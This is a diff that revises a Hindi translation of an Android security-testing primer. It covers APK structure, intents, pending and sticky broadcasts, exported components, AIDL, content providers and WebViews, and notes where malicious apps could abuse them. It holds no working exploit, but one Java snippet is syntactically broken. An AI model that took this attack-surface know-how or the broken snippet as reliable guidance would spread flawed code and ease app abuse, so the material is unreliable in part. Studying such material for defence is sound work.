@@ -59,29 +59,29 @@ Android 5.0(L) से **SELinux** लागू किया गया है। ### ROMs -यह संभव है कि **कस्टम फर्मवेयर स्थापित करके OS को बदलें**। ऐसा करने से एक पुराने डिवाइस की उपयोगिता बढ़ाना, सॉफ़्टवेयर प्रतिबंधों को बायपास करना या नवीनतम Android कोड तक पहुंच प्राप्त करना संभव है।\ +यह **कस्टम फर्मवेयर स्थापित करके OS को बदलना** संभव है। ऐसा करने से एक पुराने डिवाइस की उपयोगिता बढ़ाई जा सकती है, सॉफ़्टवेयर प्रतिबंधों को बायपास किया जा सकता है या नवीनतम Android कोड तक पहुंच प्राप्त की जा सकती है।\ **OmniROM** और **LineageOS** उपयोग करने के लिए दो सबसे लोकप्रिय फर्मवेयर हैं। -ध्यान दें कि **कस्टम फर्मवेयर स्थापित करने के लिए डिवाइस को रूट करना हमेशा आवश्यक नहीं है**। **कुछ निर्माता** अपने बूटलोडर्स को अच्छी तरह से प्रलेखित और सुरक्षित तरीके से अनलॉक करने की अनुमति देते हैं। +ध्यान दें कि **कस्टम फर्मवेयर स्थापित करने के लिए डिवाइस को रूट करना हमेशा आवश्यक नहीं है**। **कुछ निर्माता** अपने बूटलोडर को अच्छी तरह से प्रलेखित और सुरक्षित तरीके से अनलॉक करने की अनुमति देते हैं। ### Implications -एक बार जब डिवाइस रूट हो जाता है, तो कोई भी ऐप रूट के रूप में एक्सेस का अनुरोध कर सकता है। यदि एक दुर्भावनापूर्ण ऐप इसे प्राप्त करता है, तो यह लगभग सब कुछ तक पहुंच प्राप्त कर लेगा और फोन को नुकसान पहुंचा सकेगा। +एक बार जब डिवाइस रूट हो जाता है, तो कोई भी ऐप रूट के रूप में एक्सेस का अनुरोध कर सकता है। यदि एक दुर्भावनापूर्ण ऐप इसे प्राप्त करता है, तो यह लगभग सब कुछ तक पहुंच प्राप्त कर लेगा और फोन को नुकसान पहुँचा सकेगा। ## Android Application Fundamentals -- Android अनुप्रयोगों का प्रारूप _APK फ़ाइल प्रारूप_ के रूप में संदर्भित किया जाता है। यह मूल रूप से एक **ZIP फ़ाइल** है (फ़ाइल एक्सटेंशन को .zip में बदलकर, सामग्री को निकाला और देखा जा सकता है)। +- Android अनुप्रयोगों का प्रारूप _APK फ़ाइल प्रारूप_ के रूप में संदर्भित किया जाता है। यह मूल रूप से एक **ZIP फ़ाइल** है (फ़ाइल एक्सटेंशन को .zip में बदलने पर, सामग्री को निकाला और देखा जा सकता है)। - APK सामग्री (पूर्ण नहीं) - **AndroidManifest.xml** - resources.arsc/strings.xml -- resources.arsc: पूर्व-संकलित संसाधनों को शामिल करता है, जैसे बाइनरी XML। +- resources.arsc: पूर्व-compiled संसाधनों को शामिल करता है, जैसे बाइनरी XML। - res/xml/files_paths.xml - META-INF/ -- यहीं पर प्रमाणपत्र स्थित है! +- यहीं प्रमाणपत्र स्थित है! - **classes.dex** -- डेलविक बाइटकोड को शामिल करता है, जो संकलित Java (या Kotlin) कोड का प्रतिनिधित्व करता है जिसे अनुप्रयोग डिफ़ॉल्ट रूप से निष्पादित करता है। +- इसमें डलविक बाइटकोड होता है, जो संकलित Java (या Kotlin) कोड का प्रतिनिधित्व करता है जिसे अनुप्रयोग डिफ़ॉल्ट रूप से निष्पादित करता है। - lib/ -- मूलभूत पुस्तकालयों को रखता है, जो उपनिर्देशिकाओं में CPU आर्किटेक्चर द्वारा विभाजित होते हैं। +- इसमें मूलभूत पुस्तकालय होते हैं, जो उपनिर्देशिकाओं में CPU आर्किटेक्चर द्वारा विभाजित होते हैं। - `armeabi`: ARM आधारित प्रोसेसर के लिए कोड - `armeabi-v7a`: ARMv7 और उच्चतर आधारित प्रोसेसर के लिए कोड - `x86`: X86 प्रोसेसर के लिए कोड @@ -93,13 +93,13 @@ Android 5.0(L) से **SELinux** लागू किया गया है। ### **Dalvik & Smali** -Android विकास में, **Java या Kotlin** का उपयोग ऐप बनाने के लिए किया जाता है। डेस्कटॉप ऐप्स की तरह JVM का उपयोग करने के बजाय, Android इस कोड को **Dalvik Executable (DEX) बाइटकोड** में संकलित करता है। पहले, डेलविक वर्चुअल मशीन इस बाइटकोड को संभालती थी, लेकिन अब, नए Android संस्करणों में Android Runtime (ART) इसका प्रभार लेता है। +Android विकास में, **Java या Kotlin** का उपयोग ऐप बनाने के लिए किया जाता है। डेस्कटॉप ऐप्स की तरह JVM का उपयोग करने के बजाय, Android इस कोड को **Dalvik Executable (DEX) बाइटकोड** में संकलित करता है। पहले, डलविक वर्चुअल मशीन इस बाइटकोड को संभालती थी, लेकिन अब, नए Android संस्करणों में Android Runtime (ART) इसका प्रभार लेता है। -रिवर्स इंजीनियरिंग के लिए, **Smali** महत्वपूर्ण हो जाता है। यह DEX बाइटकोड का मानव-पठनीय संस्करण है, जो स्रोत कोड को बाइटकोड निर्देशों में अनुवादित करके असेंबली भाषा की तरह कार्य करता है। Smali और baksmali इस संदर्भ में असेंबली और डिस्सेम्बली उपकरणों को संदर्भित करते हैं। +रिवर्स इंजीनियरिंग के लिए, **Smali** महत्वपूर्ण हो जाता है। यह DEX बाइटकोड का मानव-पठनीय संस्करण है, जो स्रोत कोड को बाइटकोड निर्देशों में अनुवादित करके असेंबली भाषा की तरह कार्य करता है। Smali और baksmali इस संदर्भ में असेंबली और डिसअसेंबली उपकरणों को संदर्भित करते हैं। ## Intents -Intents Android ऐप्स के बीच उनके घटकों या अन्य ऐप्स के साथ संवाद करने का प्राथमिक साधन हैं। ये संदेश वस्तुएं ऐप्स या घटकों के बीच डेटा ले जा सकती हैं, जैसे HTTP संचार में GET/POST अनुरोधों का उपयोग किया जाता है। +Intents Android ऐप्स के बीच उनके घटकों या अन्य ऐप्स के साथ संवाद करने के प्राथमिक साधन हैं। ये संदेश वस्तुएं ऐप्स या घटकों के बीच डेटा ले जा सकती हैं, जैसे HTTP संचार में GET/POST अनुरोधों का उपयोग किया जाता है। तो एक Intent मूल रूप से **घटकों के बीच पारित किया जाने वाला एक संदेश है**। Intents **विशिष्ट घटकों या ऐप्स की ओर निर्देशित** किए जा सकते हैं, **या बिना किसी विशिष्ट प्राप्तकर्ता के भेजे जा सकते हैं**।\ सरलता के लिए Intent का उपयोग किया जा सकता है: @@ -118,7 +118,7 @@ Intents Android ऐप्स के बीच उनके घटकों य Intent Filters श्रेणियों, क्रियाओं और डेटा फ़िल्टरों से बने होते हैं, जिसमें अतिरिक्त मेटाडेटा शामिल करने की संभावना होती है। यह सेटअप घटकों को उन विशिष्ट Intents को संभालने की अनुमति देता है जो घोषित मानदंडों से मेल खाते हैं। -Android घटकों (गतिविधियाँ/सेवाएँ/सामग्री प्रदाता/ब्रॉडकास्ट रिसीवर्स) का एक महत्वपूर्ण पहलू उनकी दृश्यता या **सार्वजनिक स्थिति** है। एक घटक को सार्वजनिक माना जाता है और यह अन्य ऐप्स के साथ इंटरैक्ट कर सकता है यदि इसे **`exported`** के मान के साथ **`true`** के रूप में सेट किया गया है या यदि इसके लिए मैनिफेस्ट में एक Intent Filter घोषित किया गया है। हालाँकि, डेवलपर्स के लिए इन घटकों को स्पष्ट रूप से निजी रखना संभव है, यह सुनिश्चित करते हुए कि वे अनजाने में अन्य ऐप्स के साथ इंटरैक्ट न करें। यह उनके मैनिफेस्ट परिभाषाओं में **`exported`** विशेषता को **`false`** पर सेट करके प्राप्त किया जाता है। +Android घटकों (गतिविधियाँ/सेवाएँ/सामग्री प्रदाता/ब्रॉडकास्ट रिसीवर्स) का एक महत्वपूर्ण पहलू उनकी दृश्यता या **सार्वजनिक स्थिति** है। एक घटक को सार्वजनिक माना जाता है और यह अन्य ऐप्स के साथ इंटरैक्ट कर सकता है यदि इसे **`exported`** के मान के साथ **`true`** के रूप में सेट किया गया है या यदि इसके लिए मैनिफेस्ट में एक Intent Filter घोषित किया गया है। हालाँकि, डेवलपर्स के लिए इन घटकों को स्पष्ट रूप से निजी रखना संभव है, यह सुनिश्चित करते हुए कि वे अनजाने में अन्य ऐप्स के साथ इंटरैक्ट न करें। यह उनके मैनिफेस्ट परिभाषाओं में **`exported`** attribute को **`false`** पर सेट करके प्राप्त किया जाता है। इसके अलावा, डेवलपर्स के पास इन घटकों तक पहुंच को और सुरक्षित करने का विकल्प होता है, विशेष अनुमतियों की आवश्यकता करके। **`permission`** attribute को सेट किया जा सकता है ताकि केवल उन ऐप्स को अनुमति दी जा सके जिनके पास निर्दिष्ट अनुमति है, जिससे सुरक्षा और नियंत्रण की एक अतिरिक्त परत जोड़ी जा सके कि कौन इसके साथ इंटरैक्ट कर सकता है। ```java @@ -132,7 +132,7 @@ Intents को एक Intent कंस्ट्रक्टर का उपय ```java Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:")); ``` -**Action** पहले घोषित किए गए इरादे का **ACTION_SEND** है और **Extra** एक mailto **Uri** है (Extra वह अतिरिक्त जानकारी है जिसकी इरादा अपेक्षा कर रहा है)। +**Action** पहले घोषित किए गए इरादे का **ACTION_SEND** है और **Extra** एक mailto **Uri** है (Extra वह अतिरिक्त जानकारी है जिसकी अपेक्षा इरादा कर रहा है)। इस इरादे को मैनिफेस्ट के अंदर निम्नलिखित उदाहरण के रूप में घोषित किया जाना चाहिए: ```xml @@ -145,11 +145,11 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:")); ``` एक intent-filter को संदेश प्राप्त करने के लिए **action**, **data** और **category** से मेल खाना चाहिए। -"Intent resolution" प्रक्रिया यह निर्धारित करती है कि प्रत्येक संदेश को कौन सा ऐप प्राप्त करना चाहिए। यह प्रक्रिया **priority attribute** पर विचार करती है, जिसे i**ntent-filter declaration** में सेट किया जा सकता है, और **उच्च प्राथमिकता वाला** चयनित होगा। यह प्राथमिकता -1000 और 1000 के बीच सेट की जा सकती है और एप्लिकेशन `SYSTEM_HIGH_PRIORITY` मान का उपयोग कर सकते हैं। यदि **conflict** उत्पन्न होता है, तो एक "choser" Window प्रकट होती है ताकि **उपयोगकर्ता निर्णय ले सके**। +"Intent resolution" प्रक्रिया यह निर्धारित करती है कि प्रत्येक संदेश को कौन सा ऐप प्राप्त करना चाहिए। यह प्रक्रिया **priority attribute** पर विचार करती है, जिसे i**ntent-filter declaration** में सेट किया जा सकता है, और **उच्च प्राथमिकता वाला चयनित होगा**। यह प्राथमिकता -1000 से 1000 के बीच सेट की जा सकती है और एप्लिकेशन `SYSTEM_HIGH_PRIORITY` मान का उपयोग कर सकते हैं। यदि **conflict** उत्पन्न होता है, तो एक "choser" Window प्रकट होती है ताकि **उपयोगकर्ता निर्णय ले सके**। ### Explicit Intents -एक स्पष्ट intent उस वर्ग नाम को निर्दिष्ट करता है जिसे यह लक्षित कर रहा है: +एक explicit intent उस क्लास नाम को निर्दिष्ट करता है जिसे यह लक्षित कर रहा है: ```java Intent downloadIntent = new (this, DownloadService.class): ``` @@ -161,7 +161,7 @@ context.startService(intent); ``` ### Pending Intents -ये अन्य अनुप्रयोगों को **आपके अनुप्रयोग की ओर से क्रियाएँ करने** की अनुमति देते हैं, आपके ऐप की पहचान और अनुमतियों का उपयोग करते हुए। एक Pending Intent बनाने के लिए **एक इरादा और प्रदर्शन करने के लिए क्रिया को निर्दिष्ट किया जाना चाहिए**। यदि **घोषित इरादा स्पष्ट नहीं है** (यह नहीं बताता कि कौन सा इरादा इसे कॉल कर सकता है) तो **एक दुर्भावनापूर्ण अनुप्रयोग घोषित क्रिया को पीड़ित ऐप की ओर से प्रदर्शन कर सकता है**। इसके अलावा, **यदि कोई क्रिया निर्दिष्ट नहीं की गई है**, तो दुर्भावनापूर्ण ऐप **पीड़ित की ओर से कोई भी क्रिया कर सकेगा**। +ये अन्य अनुप्रयोगों को **आपके अनुप्रयोग की ओर से क्रियाएँ करने** की अनुमति देते हैं, आपके ऐप की पहचान और अनुमतियों का उपयोग करते हुए। एक Pending Intent बनाने के लिए **एक इरादा और प्रदर्शन करने के लिए क्रिया को निर्दिष्ट किया जाना चाहिए**। यदि **घोषित इरादा स्पष्ट नहीं है** (यह नहीं बताता कि कौन सा इरादा इसे कॉल कर सकता है) तो एक **दुष्ट अनुप्रयोग घोषित क्रिया को पीड़ित ऐप की ओर से प्रदर्शन कर सकता है**। इसके अलावा, **यदि कोई क्रिया निर्दिष्ट नहीं की गई है**, तो दुष्ट ऐप **पीड़ित की ओर से कोई भी क्रिया कर सकेगा**। ### Broadcast Intents @@ -169,15 +169,15 @@ context.startService(intent); वैकल्पिक रूप से, ब्रॉडकास्ट भेजते समय **एक अनुमति निर्दिष्ट करना भी संभव है**। रिसीवर ऐप को उस अनुमति की आवश्यकता होगी। -ब्रॉडकास्ट के **दो प्रकार** हैं: **सामान्य** (असिंक्रोनस) और **क्रमबद्ध** (सिंक्रोनस)। **क्रम** रिसीवर तत्व के **कॉन्फ़िगर की गई प्राथमिकता** पर आधारित है। **प्रत्येक ऐप ब्रॉडकास्ट को संसाधित, पुनः प्रसारित या छोड़ सकता है।** +ब्रॉडकास्ट के **दो प्रकार** होते हैं: **सामान्य** (असिंक्रोनस) और **क्रमबद्ध** (सिंक्रोनस)। **क्रम** रिसीवर तत्व के **कॉन्फ़िगर की गई प्राथमिकता** पर आधारित है। **प्रत्येक ऐप ब्रॉडकास्ट को प्रोसेस, रिले या ड्रॉप कर सकता है।** -आप `Context` क्लास से `sendBroadcast(intent, receiverPermission)` फ़ंक्शन का उपयोग करके **ब्रॉडकास्ट** **भेज** सकते हैं।\ -आप **`LocalBroadCastManager`** से **`sendBroadcast`** फ़ंक्शन का भी उपयोग कर सकते हैं जो सुनिश्चित करता है कि **संदेश ऐप से बाहर नहीं जाता**। इसका उपयोग करते समय आपको रिसीवर घटक को निर्यात करने की भी आवश्यकता नहीं होगी। +आप `Context` क्लास से `sendBroadcast(intent, receiverPermission)` फ़ंक्शन का उपयोग करके **ब्रॉडकास्ट** **भेजना** संभव है।\ +आप **`LocalBroadCastManager`** से **`sendBroadcast`** फ़ंक्शन का भी उपयोग कर सकते हैं, जो सुनिश्चित करता है कि **संदेश ऐप से कभी बाहर नहीं जाता**। इसका उपयोग करते समय आपको रिसीवर घटक को निर्यात करने की भी आवश्यकता नहीं होगी। ### Sticky Broadcasts -इस प्रकार के ब्रॉडकास्ट **भेजे जाने के लंबे समय बाद भी पहुंचा जा सकता है**।\ -इनका उपयोग API स्तर 21 में बंद कर दिया गया था और **इनका उपयोग न करने की सिफारिश की गई है**।\ +इस प्रकार के ब्रॉडकास्ट **भेजे जाने के लंबे समय बाद भी एक्सेस किए जा सकते हैं**।\ +इनका API स्तर 21 में डिप्रिकेट किया गया था और **इनका उपयोग न करने की सिफारिश की गई है**।\ **ये किसी भी अनुप्रयोग को डेटा को स्निफ़ करने, बल्कि इसे संशोधित करने की अनुमति देते हैं।** यदि आप "sticky" शब्द वाले फ़ंक्शंस जैसे **`sendStickyBroadcast`** या **`sendStickyBroadcastAsUser`** पाते हैं, तो **प्रभाव की जांच करें और उन्हें हटाने का प्रयास करें**। @@ -215,15 +215,15 @@ android:host="example" सीखें कि [HTML पृष्ठों का उपयोग किए बिना डीप लिंक कैसे कॉल करें](#exploiting-schemes-deep-links)। -## AIDL - एंड्रॉइड इंटरफेस परिभाषा भाषा +## AIDL - Android इंटरफेस परिभाषा भाषा -**एंड्रॉइड इंटरफेस परिभाषा भाषा (AIDL)** का उद्देश्य एंड्रॉइड अनुप्रयोगों में **इंटरप्रोसेस संचार** (IPC) के माध्यम से क्लाइंट और सेवा के बीच संचार को सुविधाजनक बनाना है। चूंकि एंड्रॉइड पर किसी अन्य प्रक्रिया की मेमोरी को सीधे एक्सेस करना अनुमति नहीं है, AIDL इस प्रक्रिया को सरल बनाता है, जिससे ऑब्जेक्ट्स को ऑपरेटिंग सिस्टम द्वारा समझे जाने वाले प्रारूप में मार्शल किया जा सके, इस प्रकार विभिन्न प्रक्रियाओं के बीच संचार को आसान बनाता है। +**Android इंटरफेस परिभाषा भाषा (AIDL)** का उद्देश्य Android अनुप्रयोगों में **इंटरप्रोसेस संचार** (IPC) के माध्यम से क्लाइंट और सेवा के बीच संचार को सुविधाजनक बनाना है। चूंकि Android पर किसी अन्य प्रक्रिया की मेमोरी को सीधे एक्सेस करना अनुमति नहीं है, AIDL इस प्रक्रिया को सरल बनाता है, जिससे ऑब्जेक्ट्स को एक ऐसे प्रारूप में परिवर्तित किया जाता है जिसे ऑपरेटिंग सिस्टम समझता है, इस प्रकार विभिन्न प्रक्रियाओं के बीच संचार को आसान बनाता है। ### प्रमुख अवधारणाएँ -- **बाउंड सेवाएँ**: ये सेवाएँ IPC के लिए AIDL का उपयोग करती हैं, जिससे गतिविधियाँ या घटक एक सेवा से बंध सकते हैं, अनुरोध कर सकते हैं और प्रतिक्रियाएँ प्राप्त कर सकते हैं। सेवा की कक्षा में `onBind` विधि इंटरैक्शन शुरू करने के लिए महत्वपूर्ण है, इसे कमजोरियों की खोज में सुरक्षा समीक्षा के लिए एक महत्वपूर्ण क्षेत्र के रूप में चिह्नित किया गया है। +- **बाउंड सेवाएँ**: ये सेवाएँ IPC के लिए AIDL का उपयोग करती हैं, जिससे गतिविधियाँ या घटक एक सेवा से बंध सकते हैं, अनुरोध कर सकते हैं, और प्रतिक्रियाएँ प्राप्त कर सकते हैं। सेवा की कक्षा में `onBind` विधि इंटरैक्शन शुरू करने के लिए महत्वपूर्ण है, इसे कमजोरियों की खोज में सुरक्षा समीक्षा के लिए एक महत्वपूर्ण क्षेत्र के रूप में चिह्नित किया गया है। -- **मैसेंजर**: एक बाउंड सेवा के रूप में कार्य करते हुए, मैसेंजर IPC को सुविधाजनक बनाता है, जिसका ध्यान `onBind` विधि के माध्यम से डेटा को संसाधित करने पर होता है। किसी भी असुरक्षित डेटा हैंडलिंग या संवेदनशील कार्यों के निष्पादन के लिए इस विधि की निकटता से जांच करना आवश्यक है। +- **मैसेंजर**: एक बाउंड सेवा के रूप में कार्य करते हुए, मैसेंजर IPC को सुविधाजनक बनाता है, जिसका ध्यान `onBind` विधि के माध्यम से डेटा को संसाधित करने पर है। किसी भी असुरक्षित डेटा हैंडलिंग या संवेदनशील कार्यों के निष्पादन के लिए इस विधि की निकटता से जांच करना आवश्यक है। - **बाइंडर**: हालांकि बाइंडर क्लास का प्रत्यक्ष उपयोग AIDL के अमूर्तता के कारण कम सामान्य है, यह समझना फायदेमंद है कि बाइंडर विभिन्न प्रक्रियाओं की मेमोरी स्पेस के बीच डेटा ट्रांसफर को सुविधाजनक बनाने वाला एक कर्नेल-स्तरीय ड्राइवर है। आगे की समझ के लिए, एक संसाधन उपलब्ध है [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)। @@ -233,10 +233,10 @@ android:host="example" ### लॉन्चर गतिविधि और अन्य गतिविधियाँ -एंड्रॉइड ऐप्स में, **गतिविधियाँ** स्क्रीन की तरह होती हैं, जो ऐप के उपयोगकर्ता इंटरफेस के विभिन्न भागों को दिखाती हैं। एक ऐप में कई गतिविधियाँ हो सकती हैं, प्रत्येक एक अद्वितीय स्क्रीन प्रस्तुत करती है। +Android ऐप्स में, **गतिविधियाँ** स्क्रीन की तरह होती हैं, जो ऐप के उपयोगकर्ता इंटरफ़ेस के विभिन्न भागों को दिखाती हैं। एक ऐप में कई गतिविधियाँ हो सकती हैं, प्रत्येक एक अद्वितीय स्क्रीन प्रस्तुत करती है। **लॉन्चर गतिविधि** ऐप का मुख्य गेटवे है, जो तब लॉन्च होती है जब आप ऐप के आइकन पर टैप करते हैं। इसे ऐप के मैनिफेस्ट फ़ाइल में विशिष्ट MAIN और LAUNCHER इंटेंट के साथ परिभाषित किया गया है: -```markup +```html @@ -244,19 +244,19 @@ android:host="example" ``` -सभी ऐप्स को एक लॉन्चर गतिविधि की आवश्यकता नहीं होती, विशेष रूप से वे जो उपयोगकर्ता इंटरफ़ेस के बिना होते हैं, जैसे बैकग्राउंड सेवाएं। +सभी ऐप्स को एक लॉन्चर गतिविधि की आवश्यकता नहीं होती, विशेष रूप से उन ऐप्स को जिनका कोई उपयोगकर्ता इंटरफ़ेस नहीं होता, जैसे बैकग्राउंड सेवाएं। -गतिविधियों को अन्य ऐप्स या प्रक्रियाओं के लिए उपलब्ध कराया जा सकता है, उन्हें मैनिफेस्ट में "निर्यातित" के रूप में चिह्नित करके। यह सेटिंग अन्य ऐप्स को इस गतिविधि को प्रारंभ करने की अनुमति देती है: +गतिविधियों को अन्य ऐप्स या प्रक्रियाओं के लिए उपलब्ध कराया जा सकता है, यदि उन्हें मैनिफेस्ट में "निर्यातित" के रूप में चिह्नित किया जाए। यह सेटिंग अन्य ऐप्स को इस गतिविधि को प्रारंभ करने की अनुमति देती है: ```markdown ``` हालांकि, किसी अन्य ऐप से गतिविधि तक पहुंचना हमेशा एक सुरक्षा जोखिम नहीं होता है। चिंता तब होती है जब संवेदनशील डेटा गलत तरीके से साझा किया जा रहा हो, जो जानकारी के लीक का कारण बन सकता है। -एक गतिविधि का जीवनचक्र **onCreate विधि के साथ शुरू होता है**, UI सेटअप करना और उपयोगकर्ता के साथ बातचीत के लिए गतिविधि को तैयार करना। +एक गतिविधि का जीवनचक्र **onCreate विधि के साथ शुरू होता है**, UI सेटअप करते हुए और उपयोगकर्ता के साथ बातचीत के लिए गतिविधि को तैयार करते हुए। ### एप्लिकेशन उपवर्ग -Android विकास में, एक ऐप के पास [Application](https://developer.android.com/reference/android/app/Application) क्लास का **उपवर्ग** बनाने का विकल्प होता है, हालांकि यह अनिवार्य नहीं है। जब ऐसा उपवर्ग परिभाषित किया जाता है, तो यह ऐप के भीतर पहली क्लास बन जाती है जिसे इंस्टेंटिएट किया जाता है। यदि इस उपवर्ग में **`attachBaseContext`** विधि लागू की गई है, तो इसे **`onCreate`** विधि से पहले निष्पादित किया जाता है। यह सेटअप बाकी एप्लिकेशन शुरू होने से पहले प्रारंभिक प्रारंभ की अनुमति देता है। +Android विकास में, एक ऐप के पास **Application** क्लास का एक **उपवर्ग** बनाने का विकल्प होता है, हालांकि यह अनिवार्य नहीं है। जब ऐसा उपवर्ग परिभाषित किया जाता है, तो यह ऐप के भीतर पहली क्लास बन जाती है जिसे इंस्टेंटिएट किया जाता है। यदि इस उपवर्ग में **`attachBaseContext`** विधि लागू की गई है, तो इसे **`onCreate`** विधि से पहले निष्पादित किया जाता है। यह सेटअप बाकी एप्लिकेशन शुरू होने से पहले प्रारंभिक प्रारंभ की अनुमति देता है। ```java public class MyApp extends Application { @Override @@ -276,9 +276,9 @@ super.onCreate(); [Services](https://developer.android.com/guide/components/services) **बैकग्राउंड ऑपरेटिव्स** हैं जो बिना उपयोगकर्ता इंटरफेस के कार्यों को निष्पादित करने में सक्षम हैं। ये कार्य तब भी चलते रह सकते हैं जब उपयोगकर्ता विभिन्न अनुप्रयोगों में स्विच करते हैं, जिससे सेवाएँ **लंबी अवधि के संचालन** के लिए महत्वपूर्ण हो जाती हैं। -सेवाएँ बहुपरकारी हैं; इन्हें विभिन्न तरीकों से प्रारंभ किया जा सकता है, जिसमें **Intents** इन्हें लॉन्च करने का प्राथमिक तरीका है, जो एक अनुप्रयोग के प्रवेश बिंदु के रूप में कार्य करता है। एक बार जब `startService` विधि का उपयोग करके सेवा शुरू की जाती है, तो इसका `onStart` विधि सक्रिय हो जाती है और तब तक चलती रहती है जब तक `stopService` विधि को स्पष्ट रूप से नहीं बुलाया जाता। वैकल्पिक रूप से, यदि किसी सेवा की भूमिका एक सक्रिय क्लाइंट कनेक्शन पर निर्भर करती है, तो क्लाइंट को सेवा से जोड़ने के लिए `bindService` विधि का उपयोग किया जाता है, जो डेटा पास करने के लिए `onBind` विधि को सक्रिय करता है। +सेवाएँ बहुपरकारी हैं; इन्हें विभिन्न तरीकों से प्रारंभ किया जा सकता है, जिसमें **Intents** इन्हें लॉन्च करने का प्राथमिक तरीका है, जो एक अनुप्रयोग के प्रवेश बिंदु के रूप में कार्य करता है। एक बार जब `startService` विधि का उपयोग करके सेवा शुरू की जाती है, तो इसका `onStart` विधि सक्रिय हो जाती है और तब तक चलती रहती है जब तक कि `stopService` विधि को स्पष्ट रूप से नहीं बुलाया जाता। वैकल्पिक रूप से, यदि किसी सेवा की भूमिका एक सक्रिय क्लाइंट कनेक्शन पर निर्भर करती है, तो क्लाइंट को सेवा से जोड़ने के लिए `bindService` विधि का उपयोग किया जाता है, जो डेटा पास करने के लिए `onBind` विधि को सक्रिय करता है। -सेवाओं का एक दिलचस्प अनुप्रयोग बैकग्राउंड संगीत प्लेबैक या नेटवर्क डेटा फ़ेचिंग शामिल है, जो उपयोगकर्ता के ऐप के साथ इंटरैक्शन को बाधित किए बिना होता है। इसके अलावा, सेवाओं को **निर्यात** करके एक ही डिवाइस पर अन्य प्रक्रियाओं के लिए उपलब्ध कराया जा सकता है। यह डिफ़ॉल्ट व्यवहार नहीं है और इसके लिए Android Manifest फ़ाइल में स्पष्ट कॉन्फ़िगरेशन की आवश्यकता होती है: +सेवाओं का एक दिलचस्प अनुप्रयोग बैकग्राउंड संगीत प्लेबैक या नेटवर्क डेटा फ़ेचिंग है, जो उपयोगकर्ता के ऐप के साथ इंटरैक्शन को बाधित किए बिना होता है। इसके अलावा, सेवाओं को **निर्यात** करके एक ही डिवाइस पर अन्य प्रक्रियाओं के लिए उपलब्ध कराया जा सकता है। यह डिफ़ॉल्ट व्यवहार नहीं है और इसके लिए Android Manifest फ़ाइल में स्पष्ट कॉन्फ़िगरेशन की आवश्यकता होती है: ```xml ``` @@ -294,11 +294,11 @@ super.onCreate(); ### Content Provider -**Content Providers** ऐप्स के बीच **संरचित डेटा** साझा करने के लिए आवश्यक हैं, डेटा सुरक्षा सुनिश्चित करने के लिए **अनुमतियों** को लागू करने के महत्व पर जोर देते हैं। वे ऐप्स को विभिन्न स्रोतों से डेटा तक पहुँचने की अनुमति देते हैं, जिसमें डेटाबेस, फ़ाइल सिस्टम, या वेब शामिल हैं। विशिष्ट अनुमतियाँ, जैसे **`readPermission`** और **`writePermission`**, पहुँच को नियंत्रित करने के लिए महत्वपूर्ण हैं। इसके अतिरिक्त, ऐप के मैनिफेस्ट में **`grantUriPermission`** सेटिंग्स के माध्यम से अस्थायी पहुँच प्रदान की जा सकती है, जिसमें `path`, `pathPrefix`, और `pathPattern` जैसे गुणों का उपयोग करके विस्तृत पहुँच नियंत्रण किया जा सकता है। +**Content Providers** ऐप्स के बीच **संरचित डेटा** साझा करने के लिए आवश्यक हैं, डेटा सुरक्षा सुनिश्चित करने के लिए **अनुमतियों** को लागू करने के महत्व पर जोर देते हैं। वे ऐप्स को विभिन्न स्रोतों से डेटा तक पहुँचने की अनुमति देते हैं, जिसमें डेटाबेस, फ़ाइल सिस्टम, या वेब शामिल हैं। विशिष्ट अनुमतियाँ, जैसे **`readPermission`** और **`writePermission`**, पहुँच को नियंत्रित करने के लिए महत्वपूर्ण हैं। इसके अतिरिक्त, ऐप के मैनिफेस्ट में **`grantUriPermission`** सेटिंग्स के माध्यम से अस्थायी पहुँच प्रदान की जा सकती है, जिसमें `path`, `pathPrefix`, और `pathPattern` जैसे गुणों का उपयोग विस्तृत पहुँच नियंत्रण के लिए किया जाता है। इनपुट सत्यापन कमजोरियों, जैसे SQL इंजेक्शन, को रोकने के लिए महत्वपूर्ण है। Content Providers बुनियादी संचालन का समर्थन करते हैं: `insert()`, `update()`, `delete()`, और `query()`, जो एप्लिकेशनों के बीच डेटा हेरफेर और साझा करने की सुविधा प्रदान करते हैं। -**FileProvider**, एक विशेष Content Provider, फ़ाइलों को सुरक्षित रूप से साझा करने पर केंद्रित है। इसे ऐप के मैनिफेस्ट में विशिष्ट गुणों के साथ परिभाषित किया गया है जो फ़ोल्डरों तक पहुँच को नियंत्रित करते हैं, जिसे `android:exported` और `android:resource` द्वारा फ़ोल्डर कॉन्फ़िगरेशन की ओर इंगित किया जाता है। संवेदनशील डेटा को अनजाने में उजागर करने से बचने के लिए निर्देशिकाएँ साझा करते समय सावधानी बरतने की सलाह दी जाती है। +**FileProvider**, एक विशेष Content Provider, फ़ाइलों को सुरक्षित रूप से साझा करने पर केंद्रित है। इसे ऐप के मैनिफेस्ट में विशिष्ट गुणों के साथ परिभाषित किया गया है जो फ़ोल्डरों तक पहुँच को नियंत्रित करते हैं, जिसे `android:exported` और `android:resource` द्वारा फ़ोल्डर कॉन्फ़िगरेशन की ओर इंगित किया गया है। संवेदनशील डेटा को अनजाने में उजागर करने से बचने के लिए निर्देशिकाएँ साझा करते समय सावधानी बरतने की सलाह दी जाती है। FileProvider के लिए उदाहरण मैनिफेस्ट घोषणा: ```xml @@ -323,18 +323,18 @@ For further information check: ## WebViews -WebViews **एंड्रॉइड ऐप्स** के अंदर **मिनी वेब ब्राउज़रों** की तरह होते हैं, जो सामग्री को या तो वेब से या स्थानीय फ़ाइलों से खींचते हैं। इन्हें सामान्य ब्राउज़रों के समान जोखिमों का सामना करना पड़ता है, फिर भी कुछ विशेष **सेटिंग्स** के माध्यम से **इन जोखिमों को कम करने** के तरीके हैं। +WebViews **एंड्रॉइड ऐप्स** के अंदर **मिनी वेब ब्राउज़र** की तरह होते हैं, जो सामग्री को या तो वेब से या स्थानीय फ़ाइलों से खींचते हैं। इन्हें सामान्य ब्राउज़रों के समान जोखिमों का सामना करना पड़ता है, फिर भी कुछ विशेष **सेटिंग्स** के माध्यम से इन जोखिमों को **कम करने** के तरीके हैं। एंड्रॉइड दो मुख्य WebView प्रकार प्रदान करता है: -- **WebViewClient** बुनियादी HTML के लिए अच्छा है लेकिन JavaScript अलर्ट फ़ंक्शन का समर्थन नहीं करता, जो XSS हमलों के परीक्षण को प्रभावित करता है। +- **WebViewClient** बुनियादी HTML के लिए अच्छा है लेकिन JavaScript अलर्ट फ़ंक्शन 